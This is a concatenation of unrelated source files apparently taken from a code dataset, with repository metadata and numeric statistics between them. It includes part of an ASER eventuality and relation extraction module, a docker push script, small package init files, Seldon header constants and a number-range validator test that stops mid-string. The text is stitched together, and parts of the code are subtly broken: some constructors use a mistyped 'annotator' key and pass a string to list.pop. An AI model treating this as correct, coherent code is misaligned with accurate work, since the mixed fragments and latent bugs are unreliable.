[list(chain.from_iterable([relation.to_triplet() for relation in sent_relations])) \ for sent_relations in para_relations] if is_single_sent: return para_eventualities[0], para_relations[0] else: return para_eventualities, para_relations else: eid2eventuality = dict() for eventuality in chain.from_iterable(para_eventualities): eid = eventuality.eid if eid not in eid2eventuality: eid2eventuality[eid] = deepcopy(eventuality) else: eid2eventuality[eid].update(eventuality) if eventuality_output_format == "Eventuality": eventualities = sorted(eid2eventuality.values(), key=lambda e: e.eid) elif eventuality_output_format == "json": eventualities = sorted( [eventuality.encode(encoding=None) for eventuality in eid2eventuality.values()], key=lambda e: e["eid"] ) rid2relation = dict() for relation in chain.from_iterable(para_relations): if relation.rid not in rid2relation: rid2relation[relation.rid] = deepcopy(relation) else: rid2relation[relation.rid].update(relation) if relation_output_format == "Relation": para_relations = sorted(rid2relation.values(), key=lambda r: r.rid) elif relation_output_format == "triplet": para_relations = sorted(chain.from_iterable([relation.to_triplets() for relation in rid2relation.values()])) return eventualities, para_relations def extract_from_text( self, text, eventuality_output_format="Eventuality", relation_output_format="Relation", in_order=True, annotators=None, **kw ): """ Extract both eventualities and relations from a raw text :param text: a raw text :type text: str :param eventuality_output_format: which format to return eventualities, "Eventuality" or "json" :type eventuality_output_format: str (default = "Eventuality") :param relation_output_format: which format to return relations, "Relation" or "triplet" :type relation_output_format: str (default = "Relation") :param in_order: whether the returned order follows the input token order :type in_order: bool (default = True) :param annotators: annotators for corenlp, please refer to https://stanfordnlp.github.io/CoreNLP/annotators.html :type annotators: Union[List, None] (default = None) :param kw: other parameters :type kw: Dict[str, object] :return: the extracted eventualities and relations :rtype: :rtype: Tuple[Union[List[List[aser.eventuality.Eventuality]], List[List[Dict[str, object]]], List[aser.eventuality.Eventuality], List[Dict[str, object]]], Union[List[List[aser.relation.Relation]], List[List[Dict[str, object]]], List[aser.relation.Relation], List[Dict[str, object]]]] .. highlight:: python .. code-block:: python Input: "My army will find your boat. In the meantime, I'm sure we could find you suitable accommodations." Output: ([[my army will find you boat], [i be sure, we could find you suitable accommodation]], [[], [(7d9ea9023b66a0ebc167f0dbb6ea8cd75d7b46f9, 25edad6781577dcb3ba715c8230416fb0d4c45c4, {'Co_Occurrence': 1.0})], [(8540897b645962964fd644242d4cc0032f024e86, 25edad6781577dcb3ba715c8230416fb0d4c45c4, {'Synchronous': 1.0})]]) """ if eventuality_output_format not in ["Eventuality", "json"]: raise NotImplementedError("Error: extract_eventualities only supports Eventuality or json.") if relation_output_format not in ["Relation", "triplet"]: raise NotImplementedError("Error: extract_relations only supports Relation or triplet.") parsed_result = self.parse_text(text, annotators=annotators) return self.extract_from_parsed_result( parsed_result, eventuality_output_format=eventuality_output_format, relation_output_format=relation_output_format, in_order=in_order, **kw ) class SeedRuleASERExtractor(BaseASERExtractor): """ ASER Extractor based on rules to extract both eventualities and relations (for ASER v1.0) """ def __init__(self, corenlp_path="", corenlp_port=0, **kw): if "annotators" not in kw: kw["annotators"] = list(ANNOTATORS) if "parse" in kw["annotators"]: kw["annotators"].pop("parse") if "depparse" not in kw["annotators"]: kw["annotator"].append("depparse") super().__init__(corenlp_path, corenlp_port, **kw) from .rule import CLAUSE_WORDS self.eventuality_extractor = SeedRuleEventualityExtractor( corenlp_path=self.corenlp_path, corenlp_port=self.corenlp_port, skip_words=CLAUSE_WORDS, **kw ) self.relation_extractor = SeedRuleRelationExtractor(**kw) class DiscourseASERExtractor(BaseASERExtractor): """ ASER Extractor based on discourse parsing to extract both eventualities and relations (for ASER v2.0) """ def __init__(self, corenlp_path="", corenlp_port=0, **kw): if "annotators" not in kw: kw["annotators"] = list(ANNOTATORS) if "depparse" in kw["annotators"]: kw["annotator"].pop("depparse") if "parse" not in kw["annotators"]: kw["annotators"].append("parse") super().__init__(corenlp_path, corenlp_port, **kw) self.eventuality_extractor = DiscourseEventualityExtractor( corenlp_path=self.corenlp_path, corenlp_port=self.corenlp_port, **kw ) self.relation_extractor = DiscourseRelationExtractor(**kw) def extract_from_parsed_result( self, parsed_result, eventuality_output_format="Eventuality", relation_output_format="Relation", in_order=True, **kw ): """ Extract both eventualities and relations from a parsed result :param parsed_result: the parsed result returned by corenlp :type parsed_result: List[Dict[str, object]] :param eventuality_output_format: which format to return eventualities, "Eventuality" or "json" :type eventuality_output_format: str (default = "Eventuality") :param relation_output_format: which format to return relations, "Relation" or "triplet" :type relation_output_format: str (default = "Relation") :param in_order: whether the returned order follows the input token order :type in_order: bool (default = True) :param kw: other parameters (e.g., syntax_tree_cache) :type kw: Dict[str, object] :return: the extracted eventualities and relations :rtype: :rtype: Tuple[Union[List[List[aser.eventuality.Eventuality]], List[List[Dict[str, object]]], List[aser.eventuality.Eventuality], List[Dict[str, object]]], Union[List[List[aser.relation.Relation]], List[List[Dict[str, object]]], List[aser.relation.Relation], List[Dict[str, object]]]] """ if "syntax_tree_cache" not in kw: kw["syntax_tree_cache"] = dict() return super().extract_from_parsed_result( parsed_result, eventuality_output_format=eventuality_output_format, relation_output_format=relation_output_format, in_order=in_order, **kw ) # The following extractor can cover more eventualities but the semantic meaning may be incomplete. # class DiscourseASERExtractor(BaseASERExtractor): # def __init__(self, corenlp_path="", corenlp_port=0, **kw): # super().__init__(corenlp_path, corenlp_port, **kw) # self.eventuality_extractor = SeedRuleEventualityExtractor(**kw) # self.conn_extractor = ConnectiveExtractor(**kw) # self.argpos_classifier = ArgumentPositionClassifier(**kw) # self.ss_extractor = SSArgumentExtractor(**kw) # self.ps_extractor = PSArgumentExtractor(**kw) # self.explicit_classifier = ExplicitSenseClassifier(**kw) # def _extract_eventualities_from_clause(self, sent_parsed_result, clause): # len_clause = len(clause) # idx_mapping = {j: i for i, j in enumerate(clause)} # indices_set = set(clause) # clause_parsed_result = { # "text": "", # "dependencies": [(idx_mapping[dep[0]], dep[1], idx_mapping[dep[2]]) for dep in sent_parsed_result["dependencies"] \ # if dep[0] in indices_set and dep[2] in indices_set], # "tokens": [sent_parsed_result["tokens"][idx] for idx in clause], # "pos_tags": [sent_parsed_result["pos_tags"][idx] for idx in clause], # "lemmas": [sent_parsed_result["lemmas"][idx] for idx in clause]} # if "ners" in sent_parsed_result: # clause_parsed_result["ners"] = [sent_parsed_result["ners"][idx] for idx in clause] # if "mentions" in sent_parsed_result: # clause_parsed_result["mentions"] = list() # for mention in sent_parsed_result["mentions"]: # start_idx = bisect.bisect_left(clause, mention["start"]) # if not (start_idx < len_clause and clause[start_idx] == mention["start"]): # continue # end_idx = bisect.bisect_left(clause, mention["end"]-1) # if not (end_idx < len_clause and clause[end_idx] == mention["end"]-1): # continue # mention = copy(mention) # mention["start"] = start_idx # mention["end"] = end_idx+1 # clause_parsed_result["mentions"].append(mention) # eventualities = self.eventuality_extractor.extract_from_parsed_result( # clause_parsed_result, output_format="Eventuality", in_order=True) # for eventuality in eventualities: # for k, v in eventuality.raw_sent_mapping.items(): # eventuality.raw_sent_mapping[k] = clause[v] # eventuality.eid = Eventuality.generate_eid(eventuality) # return eventualities # def _append_new_eventuaities_to_list(self, existed_eventualities, new_eventualities): # len_existed_eventualities = len(existed_eventualities) # for new_e in new_eventualities: # is_existed = False # for old_idx in range(len_existed_eventualities): # old_e = existed_eventualities[old_idx] # if old_e.eid == new_e.eid and old_e.raw_sent_mapping == new_e.raw_sent_mapping: # is_existed = True # break # if not is_existed: # existed_eventualities.append(new_e) # def extract_eventualities_from_parsed_result(self, parsed_result, # output_format="Eventuality", in_order=True, **kw): # if output_format not in ["Eventuality", "json"]: # raise NotImplementedError("Error: extract_from_parsed_result only supports Eventuality or json.") # if not isinstance(parsed_result, (list, tuple, dict)): # raise NotImplementedError # if isinstance(parsed_result, dict): # is_single_sent = True # parsed_result = [parsed_result] # else: # is_single_sent = False # syntax_tree_cache = kw.get("syntax_tree_cache", dict()) # para_eventualities = [list() for _ in range(len(parsed_result))] # para_clauses = self._extract_clauses(parsed_result, syntax_tree_cache) # for sent_parsed_result, sent_clauses, sent_eventualities in zip(parsed_result, para_clauses, para_eventualities): # for clause in sent_clauses: # sent_eventualities.extend(self._extract_eventualities_from_clause(sent_parsed_result, clause)) # if in_order: # if output_format == "json": # para_eventualities = [[eventuality.encode(encoding=None) for eventuality in sent_eventualities] \ # for sent_eventualities in para_eventualities] # if is_single_sent: # return para_eventualities[0] # else: # return para_eventualities # else: # eid2eventuality = dict() # for eventuality in chain.from_iterable(para_eventualities): # eid = eventuality.eid # if eid not in eid2eventuality: # eid2eventuality[eid] = deepcopy(eventuality) # else: # eid2eventuality[eid].update(eventuality) # if output_format == "Eventuality": # eventualities = sorted(eid2eventuality.values(), key=lambda e: e.eid) # elif output_format == "json": # eventualities = sorted([eventuality.encode(encoding=None) for eventuality in eid2eventuality.values()], key=lambda e: e["eid"]) # return eventualities # def extract_relations_from_parsed_result(self, parsed_result, para_eventualities, # output_format="Relation", # in_order=True, **kw): # if output_format not in ["Relation", "triplet"]: # raise NotImplementedError("Error: extract_relations_from_parsed_result only supports Relation or triplet.") # len_sentences = len(parsed_result) # if len_sentences == 0: # if in_order: # return [list()] # else: # return list() # similarity = kw.get("similarity", "simpson").lower() # threshold = kw.get("threshold", 0.8) # if threshold < 0.0 or threshold > 1.0: # raise ValueError("Error: threshold should be between 0.0 and 1.0.") # if similarity == "simpson": # similarity_func = self._match_argument_eventuality_by_Simpson # elif similarity == "jaccard": # similarity_func = self._match_argument_eventuality_by_Jaccard # elif similarity == "discourse": # similarity_func = self._match_argument_eventuality_by_dependencies # else: # raise NotImplementedError("Error: extract_from_parsed_result only supports Simpson or Jaccard.") # syntax_tree_cache = kw.get("syntax_tree_cache", dict()) # para_relations = [list() for _ in range(2*len_sentences-1)] # # replace sentences that contains no eventuality with empty sentences # filtered_parsed_result = list() # for sent_idx, (sent_parsed_result, sent_eventualities) in enumerate(zip(parsed_result, para_eventualities)): # if len(sent_eventualities) > 0: # relations_in_sent = para_relations[sent_idx] # for e1_idx in range(len(sent_eventualities)-1): # heid = sent_eventualities[e1_idx].eid # for e2_idx in range(e1_idx+1, len(sent_eventualities)): # teid = sent_eventualities[e2_idx].eid # relations_in_sent.append(Relation(heid, teid, ["Co_Occurrence"])) # filtered_parsed_result.append(sent_parsed_result) # else: # filtered_parsed_result.append(EMPTY_SENT_PARSED_RESULT) # empty sentence # # filtered_parsed_result.append(sent_parsed_result) # connectives = self.conn_extractor.extract(filtered_parsed_result, syntax_tree_cache) # SS_connectives, PS_connectives = self.argpos_classifier.classify(filtered_parsed_result, connectives, syntax_tree_cache) # SS_connectives = self.ss_extractor.extract(filtered_parsed_result, SS_connectives, syntax_tree_cache) # PS_connectives = self.ps_extractor.extract(filtered_parsed_result, PS_connectives, syntax_tree_cache) # connectives = self.explicit_classifier.classify(filtered_parsed_result, SS_connectives+PS_connectives, syntax_tree_cache) # connectives.sort(key=lambda x: (x["sent_idx"], x["indices"][0] if len(x["indices"]) > 0 else -1)) # for connective in connectives: # conn_indices = connective.get("indices", None) # arg1 = connective.get("arg1", None) # arg2 = connective.get("arg2", None) # sense = connective.get("sense", None) # if conn_indices and arg1 and arg2 and (sense and sense != "None"): # arg1_sent_idx = arg1["sent_idx"] # arg2_sent_idx = arg2["sent_idx"] # relation_list_idx = arg1_sent_idx if arg1_sent_idx == arg2_sent_idx else arg1_sent_idx + len_sentences # relations = para_relations[relation_list_idx] # sent_parsed_result1, sent_eventualities1 = parsed_result[arg1_sent_idx], para_eventualities[arg1_sent_idx] # sent_parsed_result2, sent_eventualities2 = parsed_result[arg2_sent_idx], para_eventualities[arg2_sent_idx] # arg1_eventualities = [e for e in sent_eventualities1 if \ # similarity_func(sent_parsed_result1, arg1, e, threshold=threshold, conn_indices=conn_indices)] # arg2_eventualities = [e for e in sent_eventualities2 if \ # similarity_func(sent_parsed_result2, arg2, e, threshold=threshold, conn_indices=conn_indices)] # cnt = 0.0 # if len(arg1_eventualities) > 0 and len(arg2_eventualities) > 0: # cnt = 1.0 / (len(arg1_eventualities) * len(arg2_eventualities)) # for e1 in arg1_eventualities: # heid = e1.eid # for e2 in arg2_eventualities: # teid = e2.eid # existed_relation = False # for relation in relations: # if relation.hid == heid and relation.tid == teid: # relation.update({sense: cnt}) # existed_relation = True # break # if not existed_relation: # relations.append(Relation(heid, teid, {sense: cnt})) # if in_order: # if output_format == "Relation": # return para_relations # elif output_format == "triplet": # return [sorted(chain.from_iterable([r.to_triplets() for r in relations])) \ # for relations in para_relations] # else: # if output_format == "Relation": # rid2relation = dict() # for relation in chain(*para_relations): # if relation.rid not in rid2relation: # rid2relation[relation.rid] = deepcopy(relation) # else: # rid2relation[relation.rid].update(relation) # return sorted(rid2relation.values(), key=lambda r: r.rid) # if output_format == "triplet": # return sorted([r.to_triplets() for relations in para_relations for r in relations]) # def extract_from_parsed_result(self, parsed_result, # eventuality_output_format="Eventuality", # relation_output_format="Relation", # in_order=True, **kw): # if eventuality_output_format not in ["Eventuality", "json"]: # raise NotImplementedError("Error: extract_eventualities only supports Eventuality or json.") # if relation_output_format not in ["Relation", "triplet"]: # raise NotImplementedError("Error: extract_relations only supports Relation or triplet.") # if not isinstance(parsed_result, (list, tuple, dict)): # raise NotImplementedError # if isinstance(parsed_result, dict): # is_single_sent = True # parsed_result = [parsed_result] # else: # is_single_sent = False # syntax_tree_cache = kw.get("syntax_tree_cache", dict()) # len_sentences = len(parsed_result) # para_eventualities = [list() for _ in range(len_sentences)] # para_relations = [list() for _ in range(2*len_sentences-1)] # connectives = self.conn_extractor.extract(parsed_result, syntax_tree_cache) # SS_connectives, PS_connectives = self.argpos_classifier.classify(parsed_result, connectives, syntax_tree_cache) # SS_connectives = self.ss_extractor.extract(parsed_result, SS_connectives, syntax_tree_cache) # PS_connectives = self.ps_extractor.extract(parsed_result, PS_connectives, syntax_tree_cache) # connectives = self.explicit_classifier.classify(parsed_result, SS_connectives+PS_connectives, syntax_tree_cache) # connectives.sort(key=lambda x: (x["sent_idx"], x["indices"][0] if len(x["indices"]) > 0 else -1)) # for connective in connectives: # conn_indices = connective.get("indices", None) # arg1 = connective.get("arg1", None) # arg2 = connective.get("arg2", None) # sense = connective.get("sense", None) # if conn_indices and arg1 and arg2: # arg1_sent_idx = arg1["sent_idx"] # arg2_sent_idx = arg2["sent_idx"] # senses = [] # if arg1_sent_idx == arg2_sent_idx: # senses.append("Co_Occurrence") # if sense and sense != "None": # senses.append(sense) # if len(senses) == 0: # continue # relation_list_idx = arg1_sent_idx if arg1_sent_idx == arg2_sent_idx else arg1_sent_idx + len_sentences # relations = para_relations[relation_list_idx] # sent_parsed_result1, sent_eventualities1 = parsed_result[arg1_sent_idx], para_eventualities[arg1_sent_idx] # sent_parsed_result2, sent_eventualities2 = parsed_result[arg2_sent_idx], para_eventualities[arg2_sent_idx] # arg1_eventualities = self._extract_eventualities_from_clause(sent_parsed_result1, arg1["indices"]) # arg2_eventualities = self._extract_eventualities_from_clause(sent_parsed_result2, arg2["indices"]) # self._append_new_eventuaities_to_list(sent_eventualities1, arg1_eventualities) # self._append_new_eventuaities_to_list(sent_eventualities2, arg2_eventualities) # cnt = 0.0 # if len(arg1_eventualities) > 0 and len(arg2_eventualities) > 0: # cnt = 1.0 / (len(arg1_eventualities) * len(arg2_eventualities)) # for e1 in arg1_eventualities: # heid = e1.eid # for e2 in arg2_eventualities: # teid = e2.eid # is_existed = False # for relation in relations: # if relation.hid == heid and relation.tid == teid: # relation.update({sense: cnt for sense in senses}) # is_existed = True # break # if not is_existed: # relations.append(Relation(heid, teid, {sense: cnt for sense in senses})) # if in_order: # if eventuality_output_format == "json": # para_eventualities = [[eventuality.encode(encoding=None) for eventuality in sent_eventualities] \ # for sent_eventualities in para_eventualities] # if relation_output_format == "triplet": # relations = [list(chain.from_iterable([relation.to_triplet() for relation in sent_relations])) \ # for sent_relations in para_relations] # if is_single_sent: # return para_eventualities[0], para_relations[0] # else: # return para_eventualities, para_relations # else: # eid2eventuality = dict() # for eventuality in chain.from_iterable(para_eventualities): # eid = eventuality.eid # if eid not in eid2eventuality: # eid2eventuality[eid] = deepcopy(eventuality) # else: # eid2eventuality[eid].update(eventuality) # if eventuality_output_format == "Eventuality": # eventualities = sorted(eid2eventuality.values(), key=lambda e: e.eid) # elif eventuality_output_format == "json": # eventualities = sorted([eventuality.encode(encoding=None) for eventuality in eid2eventuality.values()], key=lambda e: e["eid"]) # rid2relation = dict() # for relation in chain.from_iterable(para_relations): # if relation.rid not in rid2relation: # rid2relation[relation.rid] = deepcopy(relation) # else: # rid2relation[relation.rid].update(relation) # if relation_output_format == "Relation": # relations = sorted(rid2relation.values(), key=lambda r: r.rid) # elif relation_output_format == "triplet": # relations = sorted(chain.from_iterable([relation.to_triplets() for relation in rid2relation.values()])) # return eventualities, relations # def _extract_clauses(self, parsed_result, syntax_tree_cache): # para_arguments = [set() for _ in range(len(parsed_result))] # connectives = self.conn_extractor.extract(parsed_result, syntax_tree_cache) # para_connectives = [set() for _ in range(len(parsed_result))] # for connective in connectives: # sent_idx, indices = connective["sent_idx"], tuple(connective["indices"]) # para_connectives[sent_idx].add(indices) # for sent_idx, sent_parsed_result in enumerate(parsed_result): # sent_connectives = para_connectives[sent_idx] # sent_arguments = para_arguments[sent_idx] # if sent_idx in syntax_tree_cache: # syntax_tree = syntax_tree_cache[sent_idx] # else: # syntax_tree = syntax_tree_cache[sent_idx] = SyntaxTree(sent_parsed_result["parse"]) # # more but slower # # for indices in powerset(sent_connectives): # # indices = set(chain.from_iterable(indices)) # # sent_arguments.update(get_clauses(sent_parsed_result, syntax_tree, sep_indices=indices)) # sent_arguments.update(get_clauses(sent_parsed_result, syntax_tree, sep_indices=set(chain.from_iterable(sent_connectives)))) # return para_arguments

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463308980a2e67fc68c91f6ea9ec29d55318c067

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Python

docker/runner/node/0.10.37/push.py

urodoz/sailfish-runner

1b33da8be335c0bf1e235a50ad36f60f95521bfc

[ "MIT" ]

null

docker/runner/node/0.10.37/push.py

urodoz/sailfish-runner

1b33da8be335c0bf1e235a50ad36f60f95521bfc

[ "MIT" ]

null

docker/runner/node/0.10.37/push.py

urodoz/sailfish-runner

1b33da8be335c0bf1e235a50ad36f60f95521bfc

[ "MIT" ]

null

import os os.system("docker push urodoz/sailfish-node:0.10.37")

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py

Python

feature_extraction/__init__.py

drakipovic/Bee

0e89a608fdeaad9594a09e93ed871c40008b7562

[ "MIT" ]

null

feature_extraction/__init__.py

drakipovic/Bee

0e89a608fdeaad9594a09e93ed871c40008b7562

[ "MIT" ]

null

feature_extraction/__init__.py

drakipovic/Bee

0e89a608fdeaad9594a09e93ed871c40008b7562

[ "MIT" ]

null

from feature_extractor import FeatureExtractor, CppFeatureExtractor

67

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184

py

Python

components/alibi-detect-server/adserver/constants.py

glindsell/seldon-core

a6992832b74ed71bbd3a91c48b5a79a5cee785b2

[ "Apache-2.0" ]

1

2020-07-14T15:42:41.000Z

components/alibi-detect-server/adserver/constants.py

glindsell/seldon-core

a6992832b74ed71bbd3a91c48b5a79a5cee785b2

[ "Apache-2.0" ]

231

2020-08-10T08:38:42.000Z

2021-08-02T20:56:49.000Z

components/alibi-detect-server/adserver/constants.py

josephglanville/seldon-core

34ab0c33c55879ebe3ea3009ca64b0b47d18896c

[ "Apache-2.0" ]

null

HEADER_RETURN_INSTANCE_SCORE = "Alibi-Detect-Return-Instance-Score" HEADER_RETURN_FEATURE_SCORE = "Alibi-Detect-Return-Feature-Score" HEADER_OUTLIER_TYPE = "Alibi-Detect-Outlier-Type"

46

67

0.842391

25

184

5.88

0.36

0.22449

0.258503

0.29932

0

0.048913

184

3

68

61.333333

0.84

0

0.5

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false

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1

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null

1

0

1

0

1

null

0

6

d3b44a61b76b201fa497bfe2338de4744d1d6868

63

py

Python

src/stk/ea/crossover/__init__.py

stevenbennett96/stk

6e5af87625b83e0bfc7243bc42d8c7a860cbeb76

[ "MIT" ]

21

2018-04-12T16:25:24.000Z

2022-02-14T23:05:43.000Z

src/stk/ea/crossover/__init__.py

stevenbennett96/stk

6e5af87625b83e0bfc7243bc42d8c7a860cbeb76

[ "MIT" ]

8

2019-03-19T12:36:36.000Z

2020-11-11T12:46:00.000Z

src/stk/ea/crossover/__init__.py

stevenbennett96/stk

6e5af87625b83e0bfc7243bc42d8c7a860cbeb76

[ "MIT" ]

5

2018-08-07T13:00:16.000Z

2021-11-01T00:55:10.000Z

from .crossers import * # noqa from .records import * # noqa

21

31

0.68254

8

63

5.375

0.625

0.465116

0

0.222222

63

2

32

31.5

0.877551

0.142857

0

1

0

true

0

1

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1

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null

1

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1

0

null

0

1

0

1

0

1

0

6

d3bc83d947706d2d0590301ff140b0f4a38a64fe

45

py

Python

list_to_set.py

rivcah/100daysofPython

9536f687000008bb11d14e7f1607f2c438e77dca

[ "Unlicense" ]

null

list_to_set.py

rivcah/100daysofPython

9536f687000008bb11d14e7f1607f2c438e77dca

[ "Unlicense" ]

null

list_to_set.py

rivcah/100daysofPython

9536f687000008bb11d14e7f1607f2c438e77dca

[ "Unlicense" ]

null

def setup_set(items): return(set(items))

15

22

0.688889

7

45

4.285714

0.714286

0.533333

0

0.155556

45

2

23

22.5

0.789474

0

1

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false

0

0.5

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null

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0

1

0

null

0

1

0

1

0

6

31134eb7a34d5f2d500a9544df5b0d19258e6496

20,350

py

Python

tests/app/validation/test_number_range_validator.py

nealedj/eq-survey-runner

b8e6cddae6068f6c8fd60e21d31d58aaa79bbb34

[ "MIT" ]

null

tests/app/validation/test_number_range_validator.py

nealedj/eq-survey-runner

b8e6cddae6068f6c8fd60e21d31d58aaa79bbb34

[ "MIT" ]

1

2018-11-05T12:00:51.000Z

tests/app/validation/test_number_range_validator.py

nealedj/eq-survey-runner

b8e6cddae6068f6c8fd60e21d31d58aaa79bbb34

[ "MIT" ]

null

import unittest from unittest.mock import Mock, patch from wtforms.validators import ValidationError from app.jinja_filters import format_number from app.validation.error_messages import error_messages from app.validation.validators import NumberRange from app.forms.fields import get_number_field, CustomIntegerField from app.data_model.answer_store import Answer, AnswerStore # pylint: disable=no-member @patch('app.jinja_filters.flask_babel.get_locale', Mock(return_value='en_GB')) class TestNumberRangeValidator(unittest.TestCase): """ Number range validator uses the data, which is already known as integer """ def setUp(self): self.store = AnswerStore() answer1 = Answer( answer_id='set-minimum', answer_instance=1, group_instance=1, value=10, ) answer2 = Answer( answer_id='set-maximum', answer_instance=1, group_instance=1, value=20, ) answer3 = Answer( answer_id='set-maximum-cat', answer_instance=1, group_instance=1, value='cat', ) self.store.add(answer1) self.store.add(answer2) self.store.add(answer3) def tearDown(self): self.store.clear() def test_too_small_when_min_set_is_invalid(self): validator = NumberRange(minimum=0) mock_form = Mock() mock_field = Mock() mock_field.data = -10 with self.assertRaises(ValidationError) as ite: validator(mock_form, mock_field) self.assertEqual(error_messages['NUMBER_TOO_SMALL'] % dict(min=0), str(ite.exception)) def test_too_big_when_max_set_is_invalid(self): validator = NumberRange(maximum=9999999999) mock_form = Mock() mock_field = Mock() mock_field.data = 10000000000 with self.assertRaises(ValidationError) as ite: validator(mock_form, mock_field) self.assertEqual(error_messages['NUMBER_TOO_LARGE'] % dict(max=format_number(9999999999)), str(ite.exception)) def test_within_range(self): validator = NumberRange(minimum=0, maximum=10) mock_form = Mock() mock_field = Mock() mock_field.data = 10 try: validator(mock_form, mock_field) except ValidationError: self.fail('Valid integer raised ValidationError') def test_within_range_at_min(self): validator = NumberRange(minimum=0, maximum=9999999999) mock_form = Mock() mock_field = Mock() mock_field.data = 0 try: validator(mock_form, mock_field) except ValidationError: self.fail('Valid integer raised ValidationError') def test_within_range_at_max(self): validator = NumberRange(minimum=0, maximum=9999999999) mock_form = Mock() mock_field = Mock() mock_field.data = 9999999999 try: validator(mock_form, mock_field) except ValidationError: self.fail('Valid integer raised ValidationError') def test_manual_min(self): answer = { 'min_value': { 'value': 10 }, 'label': 'Min Test', 'mandatory': False, 'validation': { 'messages': { 'INVALID_NUMBER': 'Please only enter whole numbers into the field.', 'NUMBER_TOO_SMALL': 'The minimum value allowed is 10. Please correct your answer.' } }, 'id': 'test-range', 'type': 'Currency' } label = answer['label'] returned_error_messages = answer['validation']['messages'] integer_field = get_number_field(answer, label, '', returned_error_messages, self.store) self.assertTrue(integer_field.field_class == CustomIntegerField) for validator in integer_field.kwargs['validators']: if isinstance(validator, NumberRange): test_validator = validator mock_form = Mock() integer_field.data = 9 with self.assertRaises(ValidationError) as ite: test_validator(mock_form, integer_field) self.assertEqual(str(ite.exception), returned_error_messages['NUMBER_TOO_SMALL']) try: integer_field.data = 10 test_validator(mock_form, integer_field) except ValidationError: self.fail('Valid integer raised ValidationError') def test_manual_max(self): answer = { 'max_value': { 'value': 20 }, 'label': 'Max Test', 'mandatory': False, 'validation': { 'messages': { 'INVALID_NUMBER': 'Please only enter whole numbers into the field.', 'NUMBER_TOO_LARGE': 'The maximum value allowed is 20. Please correct your answer.' } }, 'id': 'test-range', 'type': 'Currency' } label = answer['label'] returned_error_messages = answer['validation']['messages'] integer_field = get_number_field(answer, label, '', returned_error_messages, self.store) self.assertTrue(integer_field.field_class == CustomIntegerField) for validator in integer_field.kwargs['validators']: if isinstance(validator, NumberRange): test_validator = validator mock_form = Mock() integer_field.data = 21 with self.assertRaises(ValidationError) as ite: test_validator(mock_form, integer_field) self.assertEqual(str(ite.exception), returned_error_messages['NUMBER_TOO_LARGE']) try: integer_field.data = 20 test_validator(mock_form, integer_field) except ValidationError: self.fail('Valid integer raised ValidationError') def test_zero_max(self): max_value = 0 answer = { 'max_value': { 'value': max_value }, 'label': 'Max Test', 'mandatory': False, 'id': 'test-range', 'type': 'Currency' } label = answer['label'] error_message = error_messages['NUMBER_TOO_LARGE'] % dict(max=max_value) integer_field = get_number_field(answer, label, '', error_messages, self.store) self.assertTrue(integer_field.field_class == CustomIntegerField) for validator in integer_field.kwargs['validators']: if isinstance(validator, NumberRange): test_validator = validator mock_form = Mock() integer_field.data = 1 with self.assertRaises(ValidationError) as ite: test_validator(mock_form, integer_field) self.assertEqual(str(ite.exception), error_message) try: integer_field.data = 0 test_validator(mock_form, integer_field) except ValidationError: self.fail('Valid integer raised ValidationError') def test_zero_min(self): min_value = 0 answer = { 'min_value': { 'value': min_value }, 'label': 'Min Test', 'mandatory': False, 'id': 'test-range', 'type': 'Currency' } label = answer['label'] error_message = error_messages['NUMBER_TOO_SMALL'] % dict(min=min_value) integer_field = get_number_field(answer, label, '', error_messages, self.store) self.assertTrue(integer_field.field_class == CustomIntegerField) for validator in integer_field.kwargs['validators']: if isinstance(validator, NumberRange): test_validator = validator mock_form = Mock() integer_field.data = -1 with self.assertRaises(ValidationError) as ite: test_validator(mock_form, integer_field) self.assertEqual(str(ite.exception), error_message) try: integer_field.data = 0 test_validator(mock_form, integer_field) except ValidationError: self.fail('Valid integer raised ValidationError') def test_value_range(self): answer = { 'min_value': { 'value': 10 }, 'max_value': { 'value': 20 }, 'label': 'Range Test 10 to 20', 'mandatory': False, 'validation': { 'messages': { 'INVALID_NUMBER': 'Please only enter whole numbers into the field.', 'NUMBER_TOO_SMALL': 'The minimum value allowed is 10. Please correct your answer.', 'NUMBER_TOO_LARGE': 'The maximum value allowed is 20. Please correct your answer.' } }, 'id': 'test-range', 'type': 'Currency' } label = answer['label'] returned_error_messages = answer['validation']['messages'] integer_field = get_number_field(answer, label, '', error_messages, self.store) self.assertTrue(integer_field.field_class == CustomIntegerField) for validator in integer_field.kwargs['validators']: if isinstance(validator, NumberRange): test_validator = validator mock_form = Mock() integer_field.data = 9 with self.assertRaises(ValidationError) as ite: test_validator(mock_form, integer_field) self.assertEqual(str(ite.exception), returned_error_messages['NUMBER_TOO_SMALL']) try: integer_field.data = 20 test_validator(mock_form, integer_field) integer_field.data = 10 test_validator(mock_form, integer_field) except ValidationError: self.fail('Valid integer raised ValidationError') def test_answer_id_range(self): answer = { 'min_value': { 'answer_id': 'set-minimum' }, 'max_value': { 'answer_id': 'set-maximum' }, 'label': 'Range Test 10 to 20', 'mandatory': False, 'validation': { 'messages': { 'INVALID_NUMBER': 'Please only enter whole numbers into the field.', 'NUMBER_TOO_SMALL': 'The minimum value allowed is 10. Please correct your answer.', 'NUMBER_TOO_LARGE': 'The maximum value allowed is 20. Please correct your answer.' } }, 'id': 'test-range', 'type': 'Currency' } label = answer['label'] returned_error_messages = answer['validation']['messages'] integer_field = get_number_field(answer, label, '', returned_error_messages, self.store) self.assertTrue(integer_field.field_class == CustomIntegerField) for validator in integer_field.kwargs['validators']: if isinstance(validator, NumberRange): test_validator = validator mock_form = Mock() integer_field.data = 9 with self.assertRaises(ValidationError) as ite: test_validator(mock_form, integer_field) self.assertEqual(str(ite.exception), returned_error_messages['NUMBER_TOO_SMALL']) try: integer_field.data = 20 test_validator(mock_form, integer_field) integer_field.data = 10 test_validator(mock_form, integer_field) except ValidationError: self.fail('Valid integer raised ValidationError') def test_default_range(self): answer = { 'decimal_places': 2, 'label': 'Range Test 10 to 20', 'mandatory': False, 'validation': { 'messages': { 'INVALID_NUMBER': 'Please only enter whole numbers into the field.', 'NUMBER_TOO_SMALL': 'The minimum value allowed is 10. Please correct your answer.', 'NUMBER_TOO_LARGE': 'The maximum value allowed is 20. Please correct your answer.' } }, 'id': 'test-range', 'type': 'Currency' } label = answer['label'] returned_error_messages = answer['validation']['messages'] integer_field = get_number_field(answer, label, '', returned_error_messages, self.store) for validator in integer_field.kwargs['validators']: if isinstance(validator, NumberRange): test_validator = validator self.assertEqual(test_validator.maximum, 9999999999) self.assertEqual(test_validator.minimum, 0) def test_min_less_than_system_limits(self): answer = { 'min_value': { 'value': -1000000000 }, 'id': 'test-range', 'label': 'Range Test 10 to 20', 'mandatory': False, 'validation': { 'messages': { 'INVALID_NUMBER': 'Please only enter whole numbers into the field.', 'NUMBER_TOO_SMALL': 